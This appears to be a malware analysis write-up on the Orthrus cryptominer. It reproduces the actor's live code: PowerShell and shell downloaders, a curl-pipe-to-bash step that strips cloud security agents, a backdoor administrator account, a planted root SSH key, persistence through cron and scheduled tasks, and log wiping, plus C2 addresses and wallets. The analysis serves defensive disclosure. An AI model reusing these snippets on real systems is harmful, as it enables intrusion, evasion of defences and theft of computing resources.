Go Under the Hood: Orthrus
Orthrus is a crypto-mining malware targeting both Windows and Linux machines. One of the first analyses of the Linux version of the malware was published by Antiy in June 2019. Since then, the threat actor has evolved the malware to also infect Windows servers. Orthrus is made up of four different modules written in Powershell, shell script, and binary executables. The binary executables are written in Go (Golang) and the Linux and Windows versions or compiled from the same source code.
The four modules of the malware are a script to download and set up all the modules, a crypto-miner, a watchdog module, and a scanner. The watchdog module ensures all the other modules are running while the scanner scans the internet for other machines to infect. The way the malware spreads is through exploiting unpatched services and the use of weak credentials. If scanner managing to compromise the machine, it executes to script module to set up the infection.
The Setup
The initial infections start with the execution of a Powershell script on Windows and a shell script on Linux. The purpose of this script is to download other parts of the malware and execute them.
The Powershell script uses .NET’s WebClient to download the files. The function of performing the downloading is shown below. If the first URL fails, it tries to use a backup URL. All the URLs are included as variables in the script file.
function Update($url,$backup_url,$path,$proc_name)
{
Get-Process -Name $proc_name | Stop-Process
Remove-Item $path
Try {
$vc = New-Object System.Net.WebClient
$vc.DownloadFile($url,$path)
}
Catch {
Write-Output "donwload with backurl"
$vc = New-Object System.Net.WebClient
$vc.DownloadFile($backup_url,$path)
}
}
The script checks if the files exist and that the file size is correct. The code snippet below shows the code for downloading all the parts. The comments are provided by the author of the code.
#miner_path
if((Test-Path $miner_path))
{
Write-Output "miner file exist"
if((Get-Item $miner_path).length -ne $miner_size)
{
Update $miner_url $miner_url_backup $miner_path $miner_name
}
}
else {
Update $miner_url $miner_url_backup $miner_path $miner_name
}
#miner_cfg_path
if((Test-Path $miner_cfg_path))
{
Write-Output "miner_cfg file exist"
if((Get-Item $miner_cfg_path).length -ne $miner_cfg_size)
{
Update $miner_cfg_url $miner_cfg_url_backup $miner_cfg_path $miner_cfg_name
}
}
else {
Update $miner_cfg_url $miner_cfg_url_backup $miner_cfg_path $miner_cfg_name
}
#scan_path
if((Test-Path $scan_path))
{
Write-Output "scan file exist"
if((Get-Item $scan_path).length -ne $scan_size)
{
Update $scan_url $scan_url_backup $scan_path $scan_name
}
}
else {
Update $scan_url $scan_url_backup $scan_path $scan_name
}
#dog_path
if((Test-Path $watchdog_path))
{
Write-Output "watchdog file exist"
if((Get-Item $watchdog_path).length -ne $watchdog_size)
{
Update $watchdog_url $watchdog_url_backup $watchdog_path $watchdog_name
}
}
else {
Update $watchdog_url $watchdog_url_backup $watchdog_path $watchdog_name
}
#clean.bat
if((Test-Path $killmodule_path))
{
Remove-Item $killmodule_path
Update $killmodule_url $killmodule_url_backup $killmodule_path $killmodule_name
}
else {
Update $killmodule_url $killmodule_url_backup $killmodule_path $killmodule_name
}
Remove-Item $payload_path
Remove-Item $HOME\update.ps1
Try {
$vc = New-Object System.Net.WebClient
$vc.DownloadFile($payload_url,$payload_path)
}
Catch {
Write-Output "download with backurl"
$vc = New-Object System.Net.WebClient
$vc.DownloadFile($payload_url_backup,$payload_path)
}
echo F | xcopy /y $payload_path $HOME\update.ps1
The script adds persistence via a scheduled task with the command:
SchTasks.exe /Create /SC MINUTE /TN "Update service for Windows Service" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File $HOME\update.ps1" /MO 30 /F
After the miner, scanner, and watchdog processes have been started, a kill module is executed. This module is a batch file that is being executed. The batch file’s content has changed throughout different campaigns. The snippet below shows the content of older campaigns, where a blocking rule is added to the firewall.
netsh advfirewall firewall add rule name="ipcesi" dir=out action=block remoteip="43.245.222.57/32"
In the current campaign, the malware adds a new account on the machine with the code snippet shown below.
echo off
net user sqlbackup P@ssword098 /add
net localgroup administrators sqlbackup /add
The shell script used on infected Linux machines is more complex than its Powershell equivalent. As with many other mining malware, it tries to kill any other running mining processes. The script executes the commands below in the hope to kill as many miners as possible.
kill_miner_proc()
{
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f mgwsl
pkill -f pythno
pkill -f jweri
pkill -f lx26
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f polkitd
pkill -f nanoWatch
pkill -f zigw
pkill -f devtool
pkill -f systemctI
pkill -f WmiPrwSe
pkill -f sysguard
pkill -f sysupdate
pkill -f networkservice
crontab -r
rm -rf /var/spool/cron/*
}
The script also kills suspicious processes with the function shown below. The
function will kill all the processes executed from the /tmp
directory or has
a high CPU usage. Processes with the malware’s module filenames are skipped.
kill_sus_proc()
{
ps axf -o "pid"|while read procid
do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done
}
To ensure the malware’s activity on the infected machine isn’t inhibited, the script tries to disable SELINUX and flush any cached memory. This is shown in the code below.
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
The script tries to rename the binaries for both curl
and wget
. This is
shown in the snippet below. This prevents other actors from also infecting the
machine since the applications usually used for downloading and executing
setup scripts have a different name.
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
Older versions of the script also include the code shown below to uninstall Alibaba Cloud agents and Tencent Cloud agents if they are installed.
if ps aux | grep -i '[a]liyun'; then
$bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
$bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
$bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
$bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
For persistence, the malware uses cron jobs. The script adds the following cron entry if it’s running as root:
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
If it doesn’t run as root, the following cron entry is added:
echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
Older versions of the script also would add an ssh key to the authorized_keys
for root via the following code:
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
The main goal with the script is to download and start other parts of the malware. The script downloads four files: the miner, the configuration file for the miner, the watchdog component, and the scanner component. The table below shows where the files are placed by the script based on the permissions it has.
Type of file | Root path | User path |
---|---|---|
Miner config | /etc/config.json | /tmp/config.json |
Monero miner | /etc/sysupdate | /tmp/sysupdate |
Watchdog | /etc/sysguard | /tmp/sysguard |
Scanner | /etc/networkservice | /tmp/networkservice |
Finally, the malware rewrites the iptables
rules and clears some logs, as can
be seen below. The blocked ports are commonly used by mining pools.
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
Mining for Gold
The miner installed by the setup script is XMRig and it is used for mining Monero. In the most recent binaries, the threat actor has changed the internal name of the project to a name that is more likely to be found on the infected machine. For example, the miner for Linux has an internal name of screen with a file version of 2.8.5 while the miner for Windows has the internal name of jusched with the same version as the Linux miner. The table below lists the miners with their filename and SHA-256 hash.
Filename | SHA-256 | Note |
---|---|---|
sysupdata | c51811c6d68b219d7804407ea54bd1f9b8ae0a4fcf1ddf6126740812bea52416 | XMRig 5.6.0 |
sysupdata | e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7 | XMRig (Fake name “screen 2.8.5”) |
sysupdate.exe | 559a8ff34cf807e508d32e3a28864c687263587fe4ffdcefe3f462a7072dcc74 | XMRIG (Fake name “jusched 2.8.5”) |
sysupdate.exe | e0a44f98e994ab0cdd88cacb803668903a302a83761e6376b80264364f6c5a9a | XMRig 5.6.0 |
The wallet address and the mining pools used by the threat actor are listed in the table below.
Pool | Wallet/User |
---|---|
xmr.f2pool.com:13531 | 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR |
randomxmonero.hk.nicehash.com:3380 | 3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr |
xmr-eu2.nanopool.org:14444 | 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR |
Watchdog component
The watchdog component is written in Go. An extracted source code structure is shown below. From the function names, it suggests that the code base is shared between both the Linux version and the Windows version of the malware. A deeper analysis of the samples confirms that the watchdog for Linux and Windows shares the same codebase.
Package _/tmp/0324/dog/cc: /tmp/0324/dog/cc
File: <autogenerated>
init Lines: 1 to 29 (28)
File: get_newcc.go
exactcc Lines: 13 to 26 (13)
getdata Lines: 26 to 90 (64)
Get_new_cc Lines: 90 to 94 (4)
File: get_target.go
get_target Lines: 30 to 123 (93)
Get_tasks_payload Lines: 123 to 135 (12)
Get_miner_path Lines: 135 to 151 (16)
Get_miner_conf_path Lines: 151 to 167 (16)
Get_scan_path Lines: 167 to 190 (23)
Get_ps_path Lines: 190 to 208 (18)
Get_dg_path Lines: 208 to 225 (17)
Get_payload Lines: 225 to 232 (7)
Get_conf Lines: 232 to 243 (11)
Format_newcc Lines: 243 to 250 (7)
Set_newcc Lines: 250 to 269 (19)
Check_cc Lines: 269 to 311 (42)
Check_ccfunc1 Lines: 282 to 363 (81)
Get_win_powershell_command_by_cc Lines: 311 to 322 (11)
Init_cc Lines: 322 to 349 (27)
Debug_cc_logput Lines: 349 to 357 (8)
Debug_cc_logputfunc1 Lines: 363 to 370 (7)
File: utils.go
Http_GetData Lines: 16 to 60 (44)
Http_GetDatafunc1 Lines: 27 to 34 (7)
Calc_file_md5 Lines: 60 to 71 (11)
Encode_powershell Lines: 71 to 282 (211)
Package main: /tmp/0324/dog
File: <autogenerated>
init Lines: 1 to 1 (0)
File: watchdog.go
dog_protect_process_thread Lines: 18 to 41 (23)
dog_protect_cron_thread Lines: 41 to 70 (29)
dog_update_thread Lines: 70 to 92 (22)
dog_protect_cc_thread Lines: 92 to 168 (76)
getcurrentsystem Lines: 168 to 188 (20)
getisroot Lines: 188 to 226 (38)
start_dog Lines: 226 to 240 (14)
main Lines: 240 to 248 (8)
Package _/tmp/0324/dog/platform: /tmp/0324/dog/platform
File: <autogenerated>
init Lines: 1 to 18 (17)
File: entry_opeartion.go
Download_payload_and_exec Lines: 11 to 18 (7)
Walk_cron_tasks Lines: 18 to 32 (14)
Walk_process Lines: 32 to 49 (17)
Update_file Lines: 49 to 172 (123)
update_file_checkmd5 Lines: 172 to 197 (25)
download_payload_and_exec Lines: 197 to 199 (2)
File: lin_opeartion.go
lin_get_command_base Lines: 16 to 41 (25)
lin_os_command_exec Lines: 41 to 87 (46)
lin_walk_cron Lines: 87 to 136 (49)
lin_walk_process Lines: 136 to 178 (42)
lin_download_payload_and_exec Lines: 178 to 205 (27)
lin_start_miner Lines: 205 to 223 (18)
lin_start_scan Lines: 223 to 239 (16)
Linux_init Lines: 239 to 241 (2)
File: win_opeartion.go
win_os_command_exec Lines: 16 to 49 (33)
win_download_payload_and_exec Lines: 49 to 61 (12)
win_walk_schtasks Lines: 61 to 184 (123)
win_walk_cron Lines: 184 to 199 (15)
win_walk_process Lines: 199 to 239 (40)
win_start_miner Lines: 239 to 255 (16)
win_start_scan Lines: 255 to 265 (10)
The Main Function
The main function does some information gathering about the host it has
infected. It determines at what permission level the user has and sends that
information back to the C2 server. For example, it sends iam-lin-root
if the
machine runs Linux and has root permissions. Other values it can send are:
iam-lin-normal
iam-win-root
iam-win-normal
The C2 server is accessed via HTTP. The URL uses, what appears to be, a random path. C2 URLs found in the samples are:
http://146.71.79.230/363A3EDC10A2930DVNICE/
http://185.181.10.234/E5DB0E07C3D7BE80V520/
After this information has been collected, the main work function is executed.
The main worker function start_dog
starts four Go routines:
dog_protect_cc_thread
dog_protect_cron_thread
dog_protect_process_thread
dog_update_thread
dog_protect_cron_thread
The protect cron function ensures that the persistence methods used by the malware are still active. The malware includes both code logic for Windows and Linux and will execute different functions depending on which operating system is used on the infected machine. The ASM snippet below shows the two branches.
0x006316b2 mov rax, qword [arg_38h]
0x006316b7 mov qword [rsp], rax
0x006316bb mov rax, qword [arg_40h]
0x006316c0 mov qword [var_8h], rax
0x006316c5 call fcn.__tmp_0324_dog_platform.lin_walk_cron
0x006316ca movzx eax, byte [var_10h]
0x006316cf mov byte [arg_48h], al
0x006316d3 mov rbp, qword [var_18h]
0x006316d8 add rsp, 0x20
0x006316dc ret
0x006316dd mov rax, qword [arg_38h]
0x006316e2 mov qword [rsp], rax
0x006316e6 mov rax, qword [arg_40h]
0x006316eb mov qword [var_8h], rax
0x006316f0 call fcn.__tmp_0324_dog_platform.win_walk_cron
Linux Cron Thread Functionality
Persistence on Linux machines is achieved via cron entries. The malware
executes the shell command crontab -l
and looks if the entry for the
update.sh
file exists in the output. If the expected line is not part of the
output, the malware checks to see if the script file still exists. If it does,
it just reads to cron entry. Otherwise, it downloads it.
The script file is downloaded to a temporary file into the /tmp
folder. The
snippet below shows how the filename is generated. The malware uses a random
number from including 0 to less than, excluding, 1000. The number is added
to the string shown in the snippet. If the number is 666, the corresponding
filename will be /tmp/kow666kd
.
0x00633284 mov qword [rsp], 0x3e8 ; 1000
0x0063328c call fcn.math_rand.Intn
0x00633291 mov rax, qword [var_8h]
0x00633296 mov qword [var_60h], rax
0x0063329b xorps xmm0, xmm0
0x0063329e movups xmmword [var_88h], xmm0
0x006332a6 lea rax, qword sym.type.int
0x006332ad mov qword [rsp], rax
0x006332b1 lea rcx, qword [var_60h]
0x006332b6 mov qword [var_8h], rcx
0x006332bb call fcn.runtime.convT2E64
0x006332c0 mov rax, qword [var_18h]
0x006332c5 mov rcx, qword [var_10h]
0x006332ca mov qword [var_88h], rcx
0x006332d2 mov qword [var_90h], rax
0x006332da lea rax, qword [0x006c8e1f] ; /tmp/kow%dkd
0x006332e1 mov qword [rsp], rax
0x006332e5 mov qword [var_8h], 0xc ; 12
0x006332ee lea rax, qword [var_88h]
0x006332f6 mov qword [var_10h], rax
0x006332fb mov qword [var_18h], 1
0x00633304 mov qword [var_20h], 1
0x0063330d call fcn.fmt.Sprintf
The script is executed with the shell command seen in the snippet below. The
output is written to a file in the /tmp
folder. The output file is also using
a random number to produce a random filename. After it has been executed, the
script file is removed.
0x00633371 mov qword [rsp], 0x3e8 ; 1000
0x00633379 call fcn.math_rand.Intn
0x0063337e mov rax, qword [var_8h]
0x00633383 mov qword [var_58h], rax
0x00633388 xorps xmm0, xmm0
0x0063338b movups xmmword [var_98h], xmm0
0x00633393 movups xmmword [var_a8h], xmm0
0x0063339b lea rax, qword sym.type.string
0x006333a2 mov qword [rsp], rax
0x006333a6 lea rax, qword [var_78h]
0x006333ab mov qword [var_8h], rax
0x006333b0 call fcn.runtime.convT2Estring
0x006333b5 mov rax, qword [var_10h]
0x006333ba mov rcx, qword [var_18h]
0x006333bf mov qword [var_98h], rax
0x006333c7 mov qword [var_a0h], rcx
0x006333cf lea rax, qword sym.type.int
0x006333d6 mov qword [rsp], rax
0x006333da lea rax, qword [var_58h]
0x006333df mov qword [var_8h], rax
0x006333e4 call fcn.runtime.convT2E64
0x006333e9 mov rax, qword [var_10h]
0x006333ee mov rcx, qword [var_18h]
0x006333f3 mov qword [var_a8h], rax
0x006333fb mov qword [var_b0h], rcx
0x00633403 lea rax, qword [0x006cb999] ; sh %s > /tmp/%d_og &
0x0063340a mov qword [rsp], rax
0x0063340e mov qword [var_8h], 0x14 ; 20
0x00633417 lea rax, qword [var_98h]
0x0063341f mov qword [var_10h], rax
0x00633424 mov qword [var_18h], 2
0x0063342d mov qword [var_20h], 2
0x00633436 call fcn.fmt.Sprintf
0x0063343b mov rax, qword [var_28h]
0x00633440 mov rcx, qword [var_30h]
0x00633445 mov qword [rsp], rax
0x00633449 mov qword [var_8h], rcx
0x0063344e call fcn.__tmp_0324_dog_platform.lin_os_command_exec
0x00633453 mov rax, qword [var_68h]
0x00633458 mov qword [rsp], rax
0x0063345c mov rax, qword [var_40h]
0x00633461 mov qword [var_8h], rax
0x00633466 call fcn.os.Remove
Windows Cron Thread Functionality
The way the malware executes commands on Windows is interesting. For each
command, at batch script is created. The output from the command is written to
a file which the malware reads. The assembly snippet below shows how the
malware creates a random filename for the out. A random number between 0 and
5000 is used for the “randomness” of the name. The file is written to the
%TMP%
folder and masqueraded as a PNG file.
0x00633dc2 call fcn.os.TempDir
0x00633dc7 mov rax, qword [var_8h]
0x00633dcc mov rcx, qword [rsp]
0x00633dd0 mov qword [var_120h], rcx
0x00633dd8 mov qword [var_128h], rax
0x00633de0 mov qword [rsp], 0x1388 ; 5000
0x00633de8 call fcn.math_rand.Intn
0x00633ded mov rax, qword [var_8h]
0x00633df2 mov qword [var_60h], rax
0x00633df7 xorps xmm0, xmm0
0x00633dfa movups xmmword [var_170h], xmm0
0x00633e02 movups xmmword [var_180h], xmm0
0x00633e0a lea rax, qword sym.type.string
0x00633e11 mov qword [rsp], rax
0x00633e15 lea rcx, qword [var_120h]
0x00633e1d mov qword [var_8h], rcx
0x00633e22 call fcn.runtime.convT2Estring
0x00633e27 mov rax, qword [var_18h]
0x00633e2c mov rcx, qword [var_10h]
0x00633e31 mov qword [var_170h], rcx
0x00633e39 mov qword [var_178h], rax
0x00633e41 lea rax, qword sym.type.int
0x00633e48 mov qword [rsp], rax
0x00633e4c lea rax, qword [var_60h]
0x00633e51 mov qword [var_8h], rax
0x00633e56 call fcn.runtime.convT2E64
0x00633e5b mov rax, qword [var_18h]
0x00633e60 mov rcx, qword [var_10h]
0x00633e65 mov qword [var_180h], rcx
0x00633e6d mov qword [var_188h], rax
0x00633e75 lea rax, qword [0x006cadfe] ; %s\JF90899%d266.png
0x00633e7c mov qword [rsp], rax
0x00633e80 mov qword [var_8h], 0x13
0x00633e89 lea rax, qword [var_170h]
0x00633e91 mov qword [var_10h], rax
0x00633e96 mov qword [var_18h], 2
0x00633e9f mov qword [var_20h], 2
0x00633ea8 call fcn.fmt.Sprintf
The malware uses a scheduled task a persistence method. To check the scheduled tasks on the machine, the malware executes:
chcp 437 &schtasks /Query /V /FO CSV > %s
In the command, %s
is replaced for the path to the output file described
earlier. The command chcp
is used to change the consoles code page to
language United States. The commands are written to a batch file in the
%TMP%
folder and executed, this is shown in the code snippet below. After
the code is written to the file, the batch file is executed and removed.
0x00633800 mov qword [rsp], 0x2710 ; 10000
0x00633808 call fcn.math_rand.Intn
0x0063380d mov rax, qword [var_8h]
0x00633812 mov qword [var_58h], rax
0x00633817 xorps xmm0, xmm0
0x0063381a movups xmmword [var_e0h], xmm0
0x00633822 movups xmmword [var_f0h], xmm0
0x0063382a lea rax, qword sym.type.string
0x00633831 mov qword [rsp], rax
0x00633835 lea rax, qword [var_d0h]
0x0063383d mov qword [var_8h], rax
0x00633842 call fcn.runtime.convT2Estring
0x00633847 mov rax, qword [var_18h]
0x0063384c mov rcx, qword [var_10h]
0x00633851 mov qword [var_e0h], rcx
0x00633859 mov qword [var_e8h], rax
0x00633861 lea rax, qword sym.type.int
0x00633868 mov qword [rsp], rax
0x0063386c lea rax, qword [var_58h]
0x00633871 mov qword [var_8h], rax
0x00633876 call fcn.runtime.convT2E64
0x0063387b mov rax, qword [var_18h]
0x00633880 mov rcx, qword [var_10h]
0x00633885 mov qword [var_f0h], rcx
0x0063388d mov qword [var_f8h], rax
0x00633895 lea rax, qword [0x006ca46b] ; %s\JF908%d772.bat
0x0063389c mov qword [rsp], rax
0x006338a0 mov qword [var_8h], 0x11
0x006338a9 lea rax, qword [var_e0h]
0x006338b1 mov qword [var_10h], rax
0x006338b6 mov qword [var_18h], 2
0x006338bf mov qword [var_20h], 2
0x006338c8 call fcn.fmt.Sprintf
0x006338cd mov rax, qword [var_30h]
0x006338d2 mov qword [var_40h], rax
0x006338d7 mov rcx, qword [var_28h]
0x006338dc mov qword [var_80h], rcx
0x006338e4 lea rdx, qword [var_60h]
0x006338e9 mov qword [rsp], rdx
0x006338ed mov rdx, qword [arg_130h]
0x006338f5 mov qword [var_8h], rdx
0x006338fa mov rdx, qword [arg_138h]
0x00633902 mov qword [var_10h], rdx
0x00633907 call fcn.runtime.stringtoslicebyte
0x0063390c mov rax, qword [var_20h]
0x00633911 mov rcx, qword [var_28h]
0x00633916 mov rdx, qword [var_18h]
0x0063391b mov rbx, qword [var_80h]
0x00633923 mov qword [rsp], rbx
0x00633927 mov rsi, qword [var_40h]
0x0063392c mov qword [var_8h], rsi
0x00633931 mov qword [var_10h], rdx
0x00633936 mov qword [var_18h], rax
0x0063393b mov qword [var_20h], rcx
0x00633940 mov dword [var_28h], 0x40000000
0x00633948 call fcn.io_ioutil.WriteFile
0x0063394d lea rdi, qword [var_100h]
0x00633955 lea rsi, qword [0x006faf80] ; /c
0x0063395c mov qword [rsp - 0x10], rbp
0x00633961 lea rbp, qword [rsp - 0x10]
0x00633966 call fcn.00456ac4
0x0063396b mov rbp, qword [rbp]
0x0063396f mov rax, qword [var_80h]
0x00633977 mov qword [var_110h], rax
0x0063397f mov rcx, qword [var_40h]
0x00633984 mov qword [var_118h], rcx
0x0063398c lea rdx, qword [0x006c7152] ; cmd
0x00633993 mov qword [rsp], rdx
0x00633997 mov qword [var_8h], 3
0x006339a0 lea rdx, qword [var_100h]
0x006339a8 mov qword [var_10h], rdx
0x006339ad mov qword [var_18h], 2
0x006339b6 mov qword [var_20h], 2
0x006339bf call fcn.os_exec.Command
0x006339c4 mov rax, qword [var_28h]
0x006339c9 mov qword [rsp], rax
0x006339cd call fcn.os_exec___Cmd_.CombinedOutput
0x006339d2 mov rax, qword [var_8h]
0x006339d7 mov rcx, qword [var_10h]
0x006339dc mov rdx, qword [var_18h]
0x006339e1 mov rbx, qword [var_20h]
0x006339e6 test rbx, rbx
0x006339e9 je 0x633b95
0x006339ef mov rax, qword [var_80h]
0x006339f7 mov qword [rsp], rax
0x006339fb mov rax, qword [var_40h]
0x00633a00 mov qword [var_8h], rax
0x00633a05 call fcn.os.Remove
If the scheduled task is missing, the malware adds it back again.
dog_protect_cc_thread
Every 25 minutes the malware checks in with the C2 server by sending a GET
request to {C2URL}/CheckCC
. If it doesn’t get a response, the malware uses
its backup method for finding a new C2 server. The malware uses the Ethereum
blockchain as a backup method. The snippet below shows that the malware is
preparing a query to etherscan to lookup the transaction list for the address
0xb017eFb3339FfE0EB3dBF799Db6cb065376fFEda.
0x0060e0d3 sub rsp, 0x50
0x0060e0d7 mov qword [var_48h], rbp
0x0060e0dc lea rbp, qword [var_48h]
0x0060e0e1 xorps xmm0, xmm0
0x0060e0e4 movups xmmword [var_38h], xmm0
0x0060e0e9 lea rax, qword sym.type.string
0x0060e0f0 mov qword [rsp], rax
0x0060e0f4 lea rax, qword [0x00836550] ; 0xb017eFb3339FfE0EB3dBF799Db6cb065376fFEda
0x0060e0fb mov qword [var_8h], rax
0x0060e100 call fcn.runtime.convT2Estring
0x0060e105 mov rax, qword [var_10h]
0x0060e10a mov rcx, qword [var_18h]
0x0060e10f mov qword [var_38h], rax
0x0060e114 mov qword [var_40h], rcx
0x0060e119 lea rax, qword [0x006d73df] ; http://api.etherscan.io/api?module=account&action=txlist&address=%s&startblock=0&endblock=99999999&sort=asc&apikey=YourApiKeyToken
0x0060e120 mov qword [rsp], rax
0x0060e124 mov qword [var_8h], 0x82
0x0060e12d lea rax, qword [var_38h]
0x0060e132 mov qword [var_10h], rax
0x0060e137 mov qword [var_18h], 1
0x0060e140 mov qword [var_20h], 1
0x0060e149 call fcn.fmt.Sprintf
0x0060e14e mov rax, qword [var_28h]
0x0060e153 mov rcx, qword [var_30h]
0x0060e158 mov qword [rsp], rax
0x0060e15c mov qword [var_8h], rcx
0x0060e161 call fcn.__tmp_0324_dog_cc.getdata
0x0060e166 mov rax, qword [var_10h]
0x0060e16b mov rcx, qword [var_18h]
0x0060e170 mov qword [arg_68h], rax
0x0060e175 mov qword [arg_70h], rcx
0x0060e17a mov rbp, qword [var_48h]
0x0060e17f add rsp, 0x50
0x0060e183 ret
From the list of transactions, the malware extracts all the messages from the
address controlled by the threat actor. The new IP address is slightly
“encoded”. The pattern “2f” is replaced with “.” to produce a valid IP string.
The new C2 server uses the same URL path. With the new C2 server, a new
init.sh
/update.sh
or init.ps1
/update.ps1
file is downloaded and
executed.
dog_update_thread
This function downloads and updates the configuration file for the malware. It
downloads the configuration from the URL: {C2URL}/favorite.ico
. The file is
an INI file with a list of MD5 digests. The content of one configuration
file is shown below.
[cf]
c: db2df2a149f7726ba59cbda815f429fc
[mm]
lin: c74e02044b96d157d214e9871a09531a
win: da518ae458f4651f350094bc871b12c8
[ss]
lin: a90b4d15f14fe59a4951de3840260662
win: 92fb294baa9545318998fe32e525c527
[sh]
lin: 949af511bfb9fb447206e1940448fd3e
win: 1ac16c6ce62625d4b1fe463bed0609b2
[dg]
lin: 318fa2c9d6010ad6b2bc5e23d7a6b756
win: 38e880f602375cacb6a5e9d81801954f
Below is a list of the meaning of each abbreviation.
- cf - Miner configuration file
- mm - Monero miner
- ss - Scanner “module”
- sh - Shell script: (
update.sh
,init.sh
,update.ps1
,init.ps1
) - dg - Watchdog “module”
dog_protect_process_thread
This function monitors the mining process and the scanner process. If anything happens to them, it will make sure the process is restarted.
Linux Process Protection Functionality
On Linux, the malware uses ps
to check if the process still runs. The command
executed to check if the miner is still running is shown below.
ps -auxf|grep sysupdate|wc -l
